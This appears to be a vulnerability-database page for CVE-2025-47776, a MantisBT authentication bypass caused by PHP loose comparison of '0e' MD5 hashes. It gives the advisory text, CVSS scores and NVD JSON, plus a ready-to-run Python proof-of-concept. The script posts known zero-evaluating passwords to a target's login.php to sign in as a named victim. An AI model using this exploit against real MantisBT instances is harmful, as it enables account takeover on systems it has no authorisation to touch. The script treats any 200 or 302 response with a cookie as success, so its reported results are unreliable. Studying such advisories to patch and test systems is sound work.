Security Vulnerability Report
中文
CVE-2025-47776 CVSS 9.1 CRITICAL

CVE-2025-47776

Published: 2025-11-04 21:15:37
Last Modified: 2025-11-10 17:59:51

Description

Mantis Bug Tracker (MantisBT) is an open source issue tracker. Due to incorrect use of loose (==) instead of strict (===) comparison in the authentication code in versions 2.27.1 and below.PHP type juggling will cause certain MD5 hashes matching scientific notation to be interpreted as numbers. Instances using the MD5 login method allow an attacker who knows the victim's username and has access to an account with a password hash that evaluates to zero to log in without knowing the victim's actual password, by using any other password with a hash that also evaluates to zero This issue is fixed in version 2.27.2.

CVSS Details

CVSS Score
9.1
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:mantisbt:mantisbt:*:*:*:*:*:*:*:* - VULNERABLE
MantisBT < 2.27.2
MantisBT <= 2.27.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import hashlib import requests # CVE-2025-47776 PoC - MantisBT Authentication Bypass via PHP Type Juggling # Target: MantisBT <= 2.27.1 with MD5 login method def generate_md5_zero_hash(password): """Generate MD5 hash and check if it's in 0e format (PHP float 0)""" md5_hash = hashlib.md5(password.encode()).hexdigest() if md5_hash.startswith('0e') and md5_hash[2:].isdigit(): return md5_hash return None def find_zero_hash_password(): """Brute force to find a password with MD5 hash evaluating to 0 in PHP""" # Known MD5 hashes that evaluate to 0 in PHP: # 240610708: 0e462097431906509019562988736854 # QLTHNDT: 0e405967825401955372649139804851 # PJNPDWY: 0e291529052894702774557631701704 test_passwords = [ '240610708', 'QLTHNDT', 'PJNPDWY', 'NREIPO', 'WYJNDWN', 'XLEOIPJ', 'DNZRRGHH' ] for pwd in test_passwords: h = generate_md5_zero_hash(pwd) if h: print(f'Found valid password: {pwd} -> MD5: {h}') return pwd return None def exploit_mantisbt(target_url, username, evil_password): """ Exploit authentication bypass If target user has password hash starting with 0e followed by digits, attacker can login with any password that also produces 0e... hash """ login_url = f'{target_url}/login.php' # Step 1: Try to login with the crafted password data = { 'username': username, 'password': evil_password, 'return': '' } session = requests.Session() response = session.post(login_url, data=data, allow_redirects=False) # Check if login successful (look for auth token or success indicator) if response.status_code in [200, 302]: if 'Set-Cookie' in response.headers or 'PHPSESSID' in str(response.cookies): print(f'[+] Authentication bypass successful for user: {username}') return True print('[-] Authentication bypass failed') return False if __name__ == '__main__': target = 'http://vulnerable-mantisbt-server' target_user = 'victim_username' # Find a password with 0e MD5 hash evil_pwd = find_zero_hash_password() if evil_pwd: print(f'[*] Using evil password: {evil_pwd}') exploit_mantisbt(target, target_user, evil_pwd) else: print('[-] No valid 0e hash password found in test set')

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-47776", "sourceIdentifier": "[email protected]", "published": "2025-11-04T21:15:37.367", "lastModified": "2025-11-10T17:59:50.593", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Mantis Bug Tracker (MantisBT) is an open source issue tracker. Due to incorrect use of loose (==) instead of strict (===) comparison in the authentication code in versions 2.27.1 and below.PHP type juggling will cause certain MD5 hashes matching scientific notation to be interpreted as numbers. Instances using the MD5 login method allow an attacker who knows the victim's username and has access to an account with a password hash that evaluates to zero to log in without knowing the victim's actual password, by using any other password with a hash that also evaluates to zero This issue is fixed in version 2.27.2."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-305"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mantisbt:mantisbt:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.27.2", "matchCriteriaId": "B49EF21D-F412-4C89-BFA8-9606F204E310"}]}]}], "references": [{"url": "https://github.com/mantisbt/mantisbt/commit/966554a19cf1bdbcfbfb3004766979faa748f9a2", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/mantisbt/mantisbt/security/advisories/GHSA-4v8w-gg5j-ph37", "source": "[email protected]", "tags": ["Issue Tracking", "Mitigation", "Vendor Advisory"]}]}}